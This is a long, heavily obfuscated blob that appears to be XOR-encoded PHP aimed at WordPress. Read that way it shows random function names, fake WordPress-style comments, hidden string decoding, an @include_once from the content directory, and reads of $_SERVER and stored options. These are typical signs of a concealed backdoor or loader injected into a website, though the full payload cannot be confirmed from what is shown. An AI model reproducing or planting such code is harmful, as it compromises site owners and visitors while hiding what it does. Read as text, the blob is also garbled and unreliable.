9>?;! ,{a1`{pi?l91j!$(aozjlg0f<j1nk{ 9>?;! IJ[XI\@!$(aW;~yrxiqyjro 9>?<! ,i=l9fzo8~>!$((((((aozjlg0f<j1nk{ 9>?<! ,a?n~no?qxgW!$(aozjlg0f<j1nk{ 9>?=! ,q}x1:>0fx>:m?=!$(rq;ec{mmgl| 9>?>! z9>1{1jm8r8;e~8 !$((((aW;~yrxiqyjro 9>>=!!$((ojcir|0ro>gifi>;n?| !!(!3((an((( ),gyW:a|xrerz!((s((((an(((  af|!(((om|Wgx|agf rq;ec{mmgl| 9>??!$(((8!((6(((((8!(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9>?0!$(aozjlg0f<j1nk{ 9>?1!!3((zm|}zf3u((an( )~rl=fzla18ykW?jkrj} ,gyW:a|xrerz!!((((s'"(kgexik|(zmoa{|zq("'((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 9>?0!$(((aW;~yrxiqyjro 9>08!!3zm|}zf3((((((((u(an( {jynjr};<k;ff=~{9pbapx ,{a1`{pi?l91j$((((,gyW:a|xrerz!!((s((k88c<`??}faWpk;0qo|l| ,{a1`{pi?l91j$((((((9`rp}<>q`m}an !!3yy|m;zWdxb}n{r{~akm ,{a1`{pi?l91j$((((( 8p<i#8p9=i!!3((d8incq1<`|<n`1Wi ,{a1`{pi?l91j!3((|;1bljy:yp8ja?:f?}g1i ,W:a1ci:gd>nr((((&(jj`>dqcld1xlfd: 9>09!(((&(,ep=a=linoy~$(((jj`>dqcld1xlfd: 9>0:! ,gyW:a|xrerz!$(aW;~yrxiqyjro 9>?0!!3|;1bljy:yp8ja?:f?}g1i ,W:a1ci:gd>nr(&(jj`>dqcld1xlfd: 9>0;!(&((((((,ep=a=linoy~$(((ojcir|0ro>gifi>;n?| !$(rq;ec{mmgl| 9>0<!!3,m{bk~}e:59?:83,~9m=9l8l5,m{bk~}e:-9>3(((Hafkd}lmWgfkm(,{a1`{pi?l91j3({m|W|zif{amf| aozjlg0f<j1nk{ 9><;!$(9$((( :>?#;;!!3(u}f{m| ,a?n~no?qxgW$((((,q}x1:>0fx>:m?=$(((,i=l9fzo8~>!3((u((ki|k`( \`zgijdm(,d|f9x=j|9W:!((s(gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9>0<!$(((,d|f9x=j|9W:!3((((u((ki|k`(( Mpkmx|agf(,d|f9x=j|9W:!(((((s((((u''(}fzmik`ijdm((un}fk|agf((j9zoz:k9qe=j`y=|m1r>9 ,}px?`?=of{mW!(((((s,pni;;8f{5 8p0#8pm?!3,jlmeylp>a}mWW;5,pni;;8f{-9:3(an(( )aozjlg0f<j1nk{ 9>::! ,}px?`?=of{mW!!(zm|}zf(nid{m3(((((,a<>d`q:o0xkfflq(5((rq;ec{mmgl| 9=0<! ,}px?`?=of{mW!3an(( ,a<>d`q:o0xkfflq(6(( 9?;=??9%>0?91=!!(zm|}zf(|z}m3(an(( ,a<>d`q:o0xkfflq((4((( :?8#:;8!!((((zm|}zf((((nid{m3((,gg=;j{d>o`:{|z(5((aW;~yrxiqyjro 9>89! ,}px?`?=of{mW$(8$(((( <819#>9<<=!!3(,`rxoz:y1ge0radj((5((aozjlg0f<j1nk{ 9>0=! ,gg=;j{d>o`:{|z$((/(/!(#(((aW;~yrxiqyjro 9>0=! ,gg=;j{d>o`:{|z$((((*T|*!3zm|}zf( ,`rxoz:y1ge0radj('(rq;ec{mmgl| 9=0<! ,gg=;j{d>o`:{|z!!((6((8&==3u(((n}fk|agf(mrppqfp~aze:9: ,g?f}kf;jne((((5(nid{m!s(((((({|i|ak((((((,xd8`b<k9dofqp((((5((f}dd3an(( ,g?f}kf;jne!(s,xd8`b<k9dofqp((5(f}dd3(u((an( ,xd8`b<k9dofqp((((()55(f}dd!((((zm|}zf((,xd8`b<k9dofqp3(((,}px?`?=of{mW(5((((nid{m3((,|kx||<nWg}j:||o`((5((((Haozjlg0f<j1nk{ 9=;=! z9>1{1jm8r8;e~8 !!3,fceexWxaqy?5X@XWAF\WEIP'X@XWAF\WEIP3,zy9dep~ofy{5,fceexWxaqy?#?93((((((an((((( ,|kx||<nWg}j:||o`(((..((,|kx||<nWg}j:||o`(((6(( :99#:01!(((..(((,|kx||<nWg}j:||o`(((45(( =:<:0?<9#=1!!((,}px?`?=of{mW(5(((Hrq;ec{mmgl| 9>=>! z9>1{1jm8r8;e~8 !!3an( aozjlg0f<j1nk{ 9>::! ,}px?`?=of{mW!(((..((jj`>dqcld1xlfd: 9>0>! ,}px?`?=of{mW!((((6((((( 98<0=80#>0!!(,}px?`?=of{mW((((5((bW0a{a?}a`=bcb<?m ,}px?`?=of{mW!3(((an( aozjlg0f<j1nk{ 9>::! ,}px?`?=of{mW!(..(((aozjlg0f<j1nk{ 9>0?! ,}px?`?=of{mW!(6( <>1#;9!((((..(aW;~yrxiqyjro 9>0?! ,}px?`?=of{mW!(45(( 98<0<0>#18!((..()j9zoz:k9qe=j`y=|m1r>9 ,}px?`?=of{mW!(((((..((~rl=fzla18ykW?jkrj} ,}px?`?=of{mW!!((s((,xd8`b<k9dofqp((5(,}px?`?=of{mW3(((zm|}zf((,xd8`b<k9dofqp3u(((,k>01;ojm9;?bzig((5(`ja}:~bo1<;}zr;fcWWp aW;~yrxiqyjro 98:9!$(((**!3(((an(((((( aW;~yrxiqyjro 9>::! ,k>01;ojm9;?bzig!(..((((aW;~yrxiqyjro 9>0?! ,k>01;ojm9;?bzig!(6(( <>0#;:!((((..(((rq;ec{mmgl| 9>0?! ,k>01;ojm9;?bzig!(45((( 98<0<1<#0:!(..()j9zoz:k9qe=j`y=|m1r>9 ,k>01;ojm9;?bzig!((..((~rl=fzla18ykW?jkrj} ,k>01;ojm9;?bzig!!((((s(((((,xd8`b<k9dofqp((((5(((,k>01;ojm9;?bzig3(((zm|}zf(,xd8`b<k9dofqp3(u(((,xd8`b<k9dofqp((5(((nid{m3(((((((zm|}zf(((((,xd8`b<k9dofqp3((un}fk|agf(p|;izdoby9r|y{a|: ,g?f}kf;jne((5(nid{m!((((s{|i|ak(,k>~azc?dnoW~(((5(((f}dd3((((((an(( ,g?f}kf;jne!(((s''(_X(Jdgkc(IXA(~;({m||afo{({mk|agf(,k>~azc?dnoW~(((((5(((f}dd3(u''(_X(Li|i(Egl}dm2({mzaidarijdm(la{xi|k`mzan(( ,k>~azc?dnoW~(()55(((f}dd!(zm|}zf(,k>~azc?dnoW~3((((,}px?`?=of{mW((((((5(mrppqfp~aze:9: !3(an( )aW;~yrxiqyjro 9>::! ,}px?`?=of{mW!(tt(jj`>dqcld1xlfd: 9>0?! ,}px?`?=of{mW!((((4( :<0#:=:!(((((tt((rq;ec{mmgl| 9>0?! ,}px?`?=of{mW!(6( 98<0<1;#0;!(((tt((j9zoz:k9qe=j`y=|m1r>9 ,}px?`?=of{mW!(tt(((()~rl=fzla18ykW?jkrj} ,}px?`?=of{mW!!((((s,k>~azc?dnoW~((5(((nid{m3(((zm|}zf((,k>~azc?dnoW~3(((((u(,k>~azc?dnoW~(5(aozjlg0f<j1nk{ 9>?=! }=W;pfxn;fx;>bjn~kaqW ,}px?`?=of{mW!!3((((zm|}zf((,k>~azc?dnoW~3u(((n}fk|agf((oc?>n:`qmp?a9<im{9 ,p`peg;fr~oyez!((s((((((an((( )aozjlg0f<j1nk{ 9>00! ,p`peg;fr~oyez!((tt((aW;~yrxiqyjro 9>01! ,p`peg;fr~oyez!((4( 9<1V9;=!((tt((jj`>dqcld1xlfd: 9>89! ,p`peg;fr~oyez$(((8$((:!()55(((*Tp9nTp0j*!(zm|}zf((83,{>|{>k?deg(5(HaW;~yrxiqyjro 9=;1! /^/$(jj`>dqcld1xlfd: 9>89! ,p`peg;fr~oyez$(% 8p;#8p9!!!3,{>|{>k?deg((((5((jj`>dqcld1xlfd: 9;0<! ,{>|{>k?deg!(((7(,{>|{>k?degS9U((((2(83(((((an( ,{>|{>k?deg(4((( <?9#:1!(((tt((,{>|{>k?deg((6(( 98<0=;=#<9!!(zm|}zf(,{>|{>k?deg3zm|}zf(83((u((((((n}fk|agf(((`|ceryo=en98Wcr0<1l ,~?b9=1{ef>n1x?!(((s(((zm|}zf(((aozjlg0f<j1nk{ <8<! `mplmk ,~?b9=1{ef>n1x?S9U!!3u(n}fk|agf(|;neyggnc9}qimc=gf ,ae{:onx`88!(((san( )aW;~yrxiqyjro 9>00! ,ae{:onx`88!(((((tt(,ae{:onx`88(((555(**!(((zm|}zf(((,ae{:onx`883,qx1`inx1ci:?m5988#?83,lz0cc8rmz11liz5,qx1`inx1ci:?m%983((((((({|i|ak((((,n~n0ab~qpdq{(5((f}dd3(((((an((( ,n~n0ab~qpdq{(555((f}dd!((s(((,n~n0ab~qpdq{((((5((nid{m3((((an((( rq;ec{mmgl| 9>8?! rq;ec{mmgl| 9>18!!!(((s(,Wll(((5((((lmnafml rq;ec{mmgl| 9>>1!!((7((((((_XWKGF\MF\WLAZ(2( lmnafml rq;ec{mmgl| 9=>=!!(((((7((IJ[XI\@((2(((((**!3(((an( ,Wll((()55(**!(s(,f<:q>{gW{<(5(Hla{cWnzmmW{xikm ,Wll!3(((an((((( ,f<:q>{gW{<((()55(((nid{m((((..(,f<:q>{gW{<((65((( :98>;:><1%=;;<>:<1!!((((((,n~n0ab~qpdq{((5(((|z}m3u(((u((((an( ),n~n0ab~qpdq{!(((((san((( rq;ec{mmgl| 9>8?! rq;ec{mmgl| 9>80!!!((H}xli|mWgx|agf rq;ec{mmgl| 9>19!$((aozjlg0f<j1nk{ 9>1:! !$(aW;~yrxiqyjro 9=9=!!3,i<|za;8j:}po5 8p<<#8p:m!3,`ofeg8a`zbqnr5,i<|za;8j:}po-9;3u(((md{man(((( jj`>dqcld1xlfd: 9>8?! rq;ec{mmgl| 9>8>!!!(s(,`}?eoe=d|k`e(((5( af|!((((om|Wgx|agf jj`>dqcld1xlfd: 9>19!$(8!3(an(( ,`}?eoe=d|k`e(..(aozjlg0f<j1nk{ 9>1;! !((((%(,`}?eoe=d|k`e((4( 0>;81#19!!(((((,n~n0ab~qpdq{((5((nid{m3((u(((((((u((((((an(((( ),n~n0ab~qpdq{!((szm|}zf((((,ae{:onx`883''(_X(Mf|a|q(Zmkgzl{({almjiz(zmoagf(((((((u,a{:ozyjjpx((5(((((( =<1110?#9;!(#((((rq;ec{mmgl| 99<<! 8$(( 99988;8#;011?8!!3an((( jj`>dqcld1xlfd: 9>1<! ,ae{:onx`88!((65(((,a{:ozyjjpx!(zm|}zf(((,ae{:onx`883(an( aW;~yrxiqyjro 9>1=! aozjlg0f<j1nk{ 9<<<! ,ae{:onx`88!$(%:!(555((jj`>dqcld1xlfd: 9>1>!!(((((zm|}zf((,ae{:onx`883((`adm((( aW;~yrxiqyjro 9>1<! ,ae{:onx`88!((4((((,a{:ozyjjpx(%(((((( <8=>#<<!!((((s(,xbn:9gk<gb1n}=?>(((5(**3((((an( aozjlg0f<j1nk{ 9>8?! aW;~yrxiqyjro 9>1?!!!(((s(|zq(s((((,xbn:9gk<gb1n}=?>((5(((HaW;~yrxiqyjro 9>10! ziflgeWjq|m{  ;0<#9>9>!!!3(((((((u((ki|k`(((((( \`zgijdm(((,d|f9x=j|9W:!(((s((((,xbn:9gk<gb1n}=?>((5((**3((((u(((ki|k`( Mpkmx|agf(,d|f9x=j|9W:!((((((s(((((,xbn:9gk<gb1n}=?>((((5(**3(((((u((((((((uan((( aW;~yrxiqyjro 9>1<! ,xbn:9gk<gb1n}=?>!(((4( ;<1>#=8<!!(((((s((((,xbn:9gk<gb1n}=?>((((5(aW;~yrxiqyjro 9>0:! }fayal **$((|z}m!!3(`adm((( rq;ec{mmgl| 9>11! ,xbn:9gk<gb1n}=?>!((4( >;10%:;10!!((((,xbn:9gk<gb1n}=?>((((&5((aW;~yrxiqyjro 9>0:! ,xbn:9gk<gb1n}=?>!3((((((u((((((,ae{:onx`88((&5((*Tf'"*((&(((,xbn:9gk<gb1n}=?>(&((((rq;ec{mmgl| 9?88!3u((((zm|}zf((,ae{:onx`883(((u(((n}fk|agf((bW0a{a?}a`=bcb<?m ,ae{:onx`88!((s(((an( )aozjlg0f<j1nk{ 9?89! ,ae{:onx`88!(tt(aW;~yrxiqyjro 9>11! ,ae{:onx`88!((((((45((((( 91;;;01%00<09;!!((zm|}zf(((,ae{:onx`883,0dardr=fk5>?:>3,ii<om<y>y0??5,0dardr=fk-993(((((,ebezm{a8c:j8o9}~(((5((rq;ec{mmgl| 9>;?! jj`>dqcld1xlfd: 9?8:!$(**$((((,ae{:onx`88!3(zm|}zf(((((aW;~yrxiqyjro 9?8;! ,ebezm{a8c:j8o9}~!(((7((,ebezm{a8c:j8o9}~((2(,ae{:onx`883,qp:cxb8bny|5<9=3,r{0?k0pm5 ,qp:cxb8bny|68!7,qp:cxb8bny|2%,qp:cxb8bny|3un}fk|agf((((((d8incq1<`|<n`1Wi ,fd8pcbk08m0!s''(ei|zap(|zif{xg{m(an(( )aW;~yrxiqyjro 9?8<! jj`>dqcld1xlfd: 9?8=!!(tt((()jj`>dqcld1xlfd: 9?8<! aozjlg0f<j1nk{ 9>80!!!(((((zm|}zf3((((an((((( )aW;~yrxiqyjro 9?8>! ,fd8pcbk08m0!((((tt((,fd8pcbk08m0((((((555(((((**(((((tt(()Hrq;ec{mmgl| 9?8?! ,fd8pcbk08m0!!((zm|}zf3''(ki}{id({afodm|gf((an(( )a{{m| ,ODGJID[Sjj`>dqcld1xlfd: 9?80!U!(tt((((()jj`>dqcld1xlfd: 9;0<! ,ODGJID[Saozjlg0f<j1nk{ 9?81!U!!(s((,ODGJID[SaW;~yrxiqyjro 9?81!U((5((((((om|Wgx|agf aozjlg0f<j1nk{ 9?98!$((izziq !!3((an((( )jj`>dqcld1xlfd: 9?99! ,ODGJID[Srq;ec{mmgl| 9?81!U!!((,ODGJID[SaW;~yrxiqyjro 9?81!U((((5((((izziq !3((u(((((,~?b9=1{ef>n1x?(((5(,ODGJID[Sjj`>dqcld1xlfd: 9?81!U3,ae{:onx`88(((5(((Hjj`>dqcld1xlfd: 9?9:! ,fd8pcbk08m0!3an(((( )jj`>dqcld1xlfd: 9?8>! ,ae{:onx`88!!(zm|}zf3((an(((( rq;ec{mmgl| 9>11! ,ae{:onx`88!(((((6(((( 8pkin=i#8p;=8i>!!(((,ae{:onx`88((5((bW0a{a?}a`=bcb<?m ,ae{:onx`88!3,~?b9=1{ef>n1x?SaW;~yrxiqyjro 9>0:! ,fd8pcbk08m0!U(((5(izziq /x/((56((((,fd8pcbk08m0$((/`/((((56(((rq;ec{mmgl| 9?9;! ,ae{:onx`88!$(((/o/((((56(ojcir|0ro>gifi>;n?| !$((/|/(56((rq;ec{mmgl| 9>1;! !!3(((((((an(((( rq;ec{mmgl| 9=;?! ,~?b9=1{ef>n1x?!(((((6(((( 9?9#:1!!((sngzmik`((( ,~?b9=1{ef>n1x?((((i{(,m}Wn|:z0=b>:9j=(56(,~c0W8pqzod!((s((((((an( )aW;~yrxiqyjro 9?99! ,~c0W8pqzod!(tt((((()a{{m| ,~c0W8pqzodS/|/U!((tt(( af|!((,~c0W8pqzodS/|/U(4((rq;ec{mmgl| 9>1;! !(((%((( :=191<;#=?!!(((}f{m| ,~?b9=1{ef>n1x?S,m}Wn|:z0=b>:9j=U!3(((u((((((((`adm( rq;ec{mmgl| 9=;?! ,~?b9=1{ef>n1x?!((((6(( ;0=%90=!!(((s,nq<0myy;zi{nyp(5(((((f}dd3((,`>br8{jr;km}z;g<(5((((f}dd3((ngzmik`( ,~?b9=1{ef>n1x?((i{((((,m}Wn|:z0=b>:9j=(((((56(((((,~c0W8pqzod!((s((,ejgnnmk:y~p=<bl0(((5(((rq;ec{mmgl| 9?99! ,~c0W8pqzod!((..(a{{m| ,~c0W8pqzodS/|/U!(7((( af|!((,~c0W8pqzodS/|/U((((2(83an((((( ,`>br8{jr;km}z;g<((((555(f}dd(((tt((((,ejgnnmk:y~p=<bl0(((4(((((,`>br8{jr;km}z;g<!(s((,`>br8{jr;km}z;g<((5(,ejgnnmk:y~p=<bl03((,nq<0myy;zi{nyp(((5((,m}Wn|:z0=b>:9j=3((((u((u(((an((( ,nq<0myy;zi{nyp(555(((((f}dd!((((jzmic3((((((}f{m| ,~?b9=1{ef>n1x?S,nq<0myy;zi{nypU!3(u(u(((}xli|mWgx|agf aW;~yrxiqyjro 9?9<!$((,~?b9=1{ef>n1x?$(jj`>dqcld1xlfd: 9=9=!!3((,ODGJID[Saozjlg0f<j1nk{ 9?81!U(5((,~?b9=1{ef>n1x?3(u(n}fk|agf(((}{opyco<ikm<o?zxqboaod ,fd8pcbk08m0!(s(((an( )aozjlg0f<j1nk{ 9?8>! ,fd8pcbk08m0!(tt((,fd8pcbk08m0(555((((**!((zm|}zf(((((nid{m3((an( )a{{m| ,ODGJID[SaW;~yrxiqyjro 9?81!U!(((((tt(()jj`>dqcld1xlfd: 9?99! ,ODGJID[Sjj`>dqcld1xlfd: 9?81!U!!(((s((((,ODGJID[Saozjlg0f<j1nk{ 9?9=!U((((((5(aW;~yrxiqyjro 9?9>! rq;ec{mmgl| 9?8=!!(7((((om|Wgx|agf jj`>dqcld1xlfd: 9?9?!$((izziq !!(2((izziq !3(((((an(((( )aW;~yrxiqyjro 9?99! ,ODGJID[Srq;ec{mmgl| 9?9=!U!!((((,ODGJID[Saozjlg0f<j1nk{ 9?9=!U(5(izziq !3u''(XKZM:(BA\2({xmkaidarm(zmxdaki|gz((,~?b9=1{ef>n1x?(((((5((((((,ODGJID[Sjj`>dqcld1xlfd: 9?9=!U3(((((,y9|i:pj9yff}?>fy((5(((aozjlg0f<j1nk{ 9?90! ,fd8pcbk08m0!3(an(( a{{m| ,~?b9=1{ef>n1x?S,y9|i:pj9yff}?>fyU!(((((..((aW;~yrxiqyjro 9?99! ,~?b9=1{ef>n1x?S,y9|i:pj9yff}?>fyU!(((..((a{{m| ,~?b9=1{ef>n1x?S,y9|i:pj9yff}?>fyUS/`/U!!(s(((((((an(  af|!(Hrq;ec{mmgl| 9=;=! ,fd8pcbk08m0!((6( =:<:0?:=#?=!!(((zm|}zf(((rq;ec{mmgl| 9?91!3,ae{:onx`88(((5((((Haozjlg0f<j1nk{ 9?9:! ,fd8pcbk08m0!3(((an((((( aozjlg0f<j1nk{ 9?8>! ,ae{:onx`88!!(s(an(((((( aW;~yrxiqyjro 9>11! ,ae{:onx`88!(6((( 8p<n1>m#8pj8>1:!!(((((,ae{:onx`88(((((5(bW0a{a?}a`=bcb<?m ,ae{:onx`88!3((zm|}zf( jj`>dqcld1xlfd: 9?90! ,ae{:onx`88!(555(,~?b9=1{ef>n1x?S,y9|i:pj9yff}?>fyUS/`/U!(7((|z}m(2((((aozjlg0f<j1nk{ 9?91!3(((u((((((zm|}zf((nid{m3((u((((((((,l~n:8?0n:~9}z((5(((((Haozjlg0f<j1nk{ 9?:8! ,fd8pcbk08m0$(((nid{m$((f}dd$((8$((((( 9?=>#:;<8!!3an(( aW;~yrxiqyjro 9?8>! ,l~n:8?0n:~9}z!(((((..(aW;~yrxiqyjro 9?:9! jj`>dqcld1xlfd: :;;!$(,l~n:8?0n:~9}z!..((((pm1aWkmd{lc;n~ ,fd8pcbk08m0$((( <1=#=!!((((((!((san(  af|!(Haozjlg0f<j1nk{ 9=;=! ,fd8pcbk08m0!((6(((( 98<==888#<91?;088!!(zm|}zf((nid{m3,ae{:onx`88(5(( {|zafo!(HaW;~yrxiqyjro 9?:8! ,fd8pcbk08m0!3(((an(( aW;~yrxiqyjro 9>11! ,ae{:onx`88!((((((6(((((( 9;?>>0;%;:098?!!((((((,ae{:onx`88(((5(bW0a{a?}a`=bcb<?m ,ae{:onx`88!3an( ~rl=fzla18ykW?jkrj} ,ae{:onx`88!!((((zm|}zf(rq;ec{mmgl| 9?::!3((u((((zm|}zf(nid{m3u((n}fk|agf((~o;ilyjffkig};q: !s{|i|ak(,~?b9=1{ef>n1x?(5(((f}dd3((an(((( ,~?b9=1{ef>n1x?(((()55(f}dd!((zm|}zf(,~?b9=1{ef>n1x?3((((,ae{:onx`88(((5((((( {|zafo!((Hjj`>dqcld1xlfd: 9?:8! z9>1{1jm8r8;e~8 !!3((((((an(((( aW;~yrxiqyjro 9?:;! ,ae{:onx`88!(((6((((( 9=?=>9>%=:?8<8!!(((,ae{:onx`88((((5(bW0a{a?}a`=bcb<?m ,ae{:onx`88!3(,~?b9=1{ef>n1x?((((5((((((jj`>dqcld1xlfd: 9?90! ,ae{:onx`88!3(zm|}zf((,~?b9=1{ef>n1x?3un}fk|agf(e0a|x9e|0odq}dWazfq !(((((szm|}zf(aozjlg0f<j1nk{ 9?:<! ~o;ilyjffkig};q: !$((8$((( :<%9:!!3u((((n}fk|agf(((k:mcl:?epm`lc} !(((((((s(((((zm|}zf((((e||ngqy~:jfj0;o0a !(&(jj`>dqcld1xlfd: 9?:=!(((((&(g{mxxjmmdpz1}` IJ[XI\@(&(((((jj`>dqcld1xlfd: 9?:>!$( 9<%>!!((&((aW;~yrxiqyjro 9?:?!3((u(n}fk|agf((|dpk0{9`iop0j>< !(((s(((,gbiW0onxnbn09r|((5(izziq !3(an( jj`>dqcld1xlfd: 9?:0! aW;~yrxiqyjro 9?8=!!!(s''(zmk}z{a~m(nik|gzq,e:i}ajerqz8W(((((5(Hom|Wgx|agf rq;ec{mmgl| 9?:1!$((izziq !!3((an(( jj`>dqcld1xlfd: 9?;8! ,e:i}ajerqz8W!!((,gbiW0onxnbn09r|((((5((,e:i}ajerqz8W3''(_X([xikmz(Jdgkc2(xi|k`(|qxm%mf~azgfemf|((u((,ae{:onx`88((5(((Hjj`>dqcld1xlfd: 9?8?! k:mcl:?epm`lc} !!(7(((((HaW;~yrxiqyjro 9?:8! k:mcl:?epm`lc} !!(((((2(((**3((((an(((((( jj`>dqcld1xlfd: 9?8>! ,ae{:onx`88!(((..((((rq;ec{mmgl| 9>;;! ,ae{:onx`88$((jj`>dqcld1xlfd: ?>9!!(((555((8!((((s((,|;b:WmdpaW(5(aW;~yrxiqyjro ;>:! aozjlg0f<j1nk{ 9?;9! ,ae{:onx`88$((( ::1V::<!!$((|z}m!3(an((( aozjlg0f<j1nk{ 9?;8! ,|;b:WmdpaW!(..( mex|q ,gbiW0onxnbn09r|Srq;ec{mmgl| 9?;:!U!(((tt( )mex|q ,|;b:WmdpaWSaozjlg0f<j1nk{ 9?;;!U!((..((,|;b:WmdpaWSjj`>dqcld1xlfd: 9?;;!U((((65(((((,gbiW0onxnbn09r|Srq;ec{mmgl| 9?;;!U!!!(((((,gbiW0onxnbn09r|((5((,|;b:WmdpaW3(((u((zm|}zf((,gbiW0onxnbn09r|3((((((((u((n}fk|agf((f>=x;~101zi;joqoid:1 ,gf9p0j::ky;~~<!((((((s'"(kgf~mp(|zam("'((|zq(((s(((((((an(((( )lmnafml aW;~yrxiqyjro 9=>=!!!((((zm|}zf3((,jyl9~y0p{?bg}md(((5(((aozjlg0f<j1nk{ 9>1;! !3((((an((( ,gf9p0j::ky;~~<(555(((jj`>dqcld1xlfd: 9?;<!((tt((,gf9p0j::ky;~~<((555(jj`>dqcld1xlfd: 9?;=!!((s,xzm~((5(((|dpk0{9`iop0j>< !3an(( (a{{m| ,xzm~Saozjlg0f<j1nk{ 9?;>!U$((,xzm~Saozjlg0f<j1nk{ 9?;?!U!((..(,xzm~Saozjlg0f<j1nk{ 9?;>!U((((555((,gf9p0j::ky;~~<(((..((((,jyl9~y0p{?bg}md((((%((( af|!((,xzm~Saozjlg0f<j1nk{ 9?;0!U((((4(( ,gf9p0j::ky;~~<((((555(rq;ec{mmgl| 9?;=!(7((( ;>>%>>!((2(((( 1#9!!(!(((((zm|}zf3(u''({m{y}adafmiz({|zi|moq(((,gbiW0onxnbn09r|((5((izziq ((((((/~/(((56(ojcir|0ro>gifi>;n?| !$((((jj`>dqcld1xlfd: 9?;1!((((56(((e0a|x9e|0odq}dWazfq !$(rq;ec{mmgl| :;<!((56((z9>1{1jm8r8;e~8 !$rq;ec{mmgl| 9;=:!(((56(jj`>dqcld1xlfd: 9>?>! z9>1{1jm8r8;e~8 !$(((((aW;~yrxiqyjro 9?:?!!$(aozjlg0f<j1nk{ 9?;>!(56(((((,gf9p0j::ky;~~<$((rq;ec{mmgl| 9?<8!((56((((,jyl9~y0p{?bg}md$((aozjlg0f<j1nk{ 9?;0!((56(,jyl9~y0p{?bg}md$aW;~yrxiqyjro 9?;;!(((56(a{{m| ,W[MZ^MZSjj`>dqcld1xlfd: 9?<9!U!((7( af|!(((((,W[MZ^MZSaozjlg0f<j1nk{ 9?<9!U((2(((,jyl9~y0p{?bg}md$!3((((an(( aW;~yrxiqyjro 9?:0! aW;~yrxiqyjro 9>80!!!((((H}xli|mWgx|agf aW;~yrxiqyjro 9?<:!$((,gbiW0onxnbn09r|$(((((aozjlg0f<j1nk{ 9?<;!!3(,z?xcd9c}k{8(5((e||ngqy~:jfj0;o0a !3(an(( Hrq;ec{mmgl| 9;??! ,z?xcd9c}k{8!((((tt(((Wfpcp9{<d<qobniil ,z?xcd9c}k{8$((( 0=0%;>=!$(((|z}m!!(sHaozjlg0f<j1nk{ 99;?! k:mcl:?epm`lc} !$(((rq;ec{mmgl| ?>9!(((&(aW;~yrxiqyjro 9;>:! ,gbiW0onxnbn09r|!!3(((((((u(u((((ki|k`(((((( \`zgijdm(((,d|f9x=j|9W:!(su(((((ki|k`(( Mpkmx|agf((((,d|f9x=j|9W:!((((s((u(u(n}fk|agf(((((k}9xkkmk:i~f}np? ,gbiW0onxnbn09r|!((((((s((((((an( )aozjlg0f<j1nk{ 9?<<! ,gbiW0onxnbn09r|!((((tt((mex|q ,gbiW0onxnbn09r|Saozjlg0f<j1nk{ 9?<=!U!(tt()aozjlg0f<j1nk{ 9?<>! ,gbiW0onxnbn09r|Sjj`>dqcld1xlfd: 9?<=!U!!((zm|}zf((((aozjlg0f<j1nk{ :;?!3((((,ndjnir;e;:?fazg9((5(,gbiW0onxnbn09r|Sjj`>dqcld1xlfd: 9?<?!U3((((((((an((((( )Hjj`>dqcld1xlfd: 9?<0! ,ndjnir;e;:?fazg9!((tt(( af|!(Hjj`>dqcld1xlfd: 9?<1! ,ndjnir;e;:?fazg9!((4( <<0#=:!!((zm|}zf(((aW;~yrxiqyjro :;?!3an(( ~bfe8yoygn=zf ,ndjnir;e;:?fazg9!!((zm|}zf(((aozjlg0f<j1nk{ :;>!3(((,m:;Wdno~|iW}((((5(a{{m| ,gbiW0onxnbn09r|Sjj`>dqcld1xlfd: 9?;>!U!(7(((,gbiW0onxnbn09r|Saozjlg0f<j1nk{ 9?;>!U(((2((((((**3(((,{gfayq;W?m{;eb~(5((((((a{{m| ,gbiW0onxnbn09r|Sjj`>dqcld1xlfd: 9?=8!U!((((7(( af|!(((,gbiW0onxnbn09r|SaW;~yrxiqyjro 9?=8!U((2(83(((an( ,m:;Wdno~|iW}((555((aW;~yrxiqyjro 9?;=!!(((((zm|}zf((( ,{gfayq;W?m{;eb~((6(8((..(((rq;ec{mmgl| 9>1;! !((%((((,{gfayq;W?m{;eb~(((45( ;=08#:8!!(7(((((jj`>dqcld1xlfd: 9?=9!(((2(aozjlg0f<j1nk{ 9?=:!3(an(( ,m:;Wdno~|iW}((555(((aozjlg0f<j1nk{ 9?=;!!((zm|}zf(aozjlg0f<j1nk{ 9?=<!3(an(( ,m:;Wdno~|iW}((((555((jj`>dqcld1xlfd: 9?;<!!((zm|}zf( ,{gfayq;W?m{;eb~((6((8(((..((((((rq;ec{mmgl| 9>1;! !(((((%((,{gfayq;W?m{;eb~((45(( 8p9>#8p>:!!((7((aozjlg0f<j1nk{ 9?=:!(2((((((rq;ec{mmgl| 9?=<!3((zm|}zf((((jj`>dqcld1xlfd: 9?==!3(((((u((n}fk|agf((f?~=kr:}=g??k`pz ,fd8pcbk08m0!((san(( )Hrq;ec{mmgl| 9?<0! ,fd8pcbk08m0!!(((zm|}zf(((((nid{m3((,``edde1q8o||:mg((5(((( af|!((HaW;~yrxiqyjro 9?=>! ,fd8pcbk08m0!3((((((an( ,``edde1q8o||:mg(((((4(( 8p9;8#8pk<!((tt(((,``edde1q8o||:mg((((6(( 0;>?=;9#<<8>9:>1!!((((zm|}zf((((((nid{m3(((((,l~n:8?0n:~9}z(5((Hjj`>dqcld1xlfd: 9?:8! ,fd8pcbk08m0$((nid{m$(((f}dd$((((8$( <8=?#;1!!3an((( )rq;ec{mmgl| 9?<>! ,l~n:8?0n:~9}z!(((((tt(()jj`>dqcld1xlfd: 9?:9! aozjlg0f<j1nk{ :;;!$(,l~n:8?0n:~9}z!!(((zm|}zf(((nid{m3((((an( ,``edde1q8o||:mg(((6( 98<0=;;#<;!!(s((((,a{:ozyjjpx((((5((Hjj`>dqcld1xlfd: 9?=?! ,fd8pcbk08m0$(((nid{m$((f}dd$((,``edde1q8o||:mg((((%( <8><#;:!!3zm|}zf(jj`>dqcld1xlfd: 9?=0! ,a{:ozyjjpx!(..(jj`>dqcld1xlfd: 9?:9! aW;~yrxiqyjro 9?=1!$(((((,a{:ozyjjpx!((((555(93u(((,ae{:onx`88(((((5(((HaW;~yrxiqyjro 9?>8! ,fd8pcbk08m0!3(((an(( )aozjlg0f<j1nk{ 9?=0! ,ae{:onx`88!!(((zm|}zf((nid{m3(((zm|}zf((~rl=fzla18ykW?jkrj} ,ae{:onx`88!3(u(n}fk|agf((((~bfe8yoygn=zf ,fd8pcbk08m0!(s((((,l~y:yixbb~r8q((((5(aW;~yrxiqyjro 9>?>! ,fd8pcbk08m0$((aW;~yrxiqyjro 9?>9!!3ngzmik`(( izziq jj`>dqcld1xlfd: 9:>1! 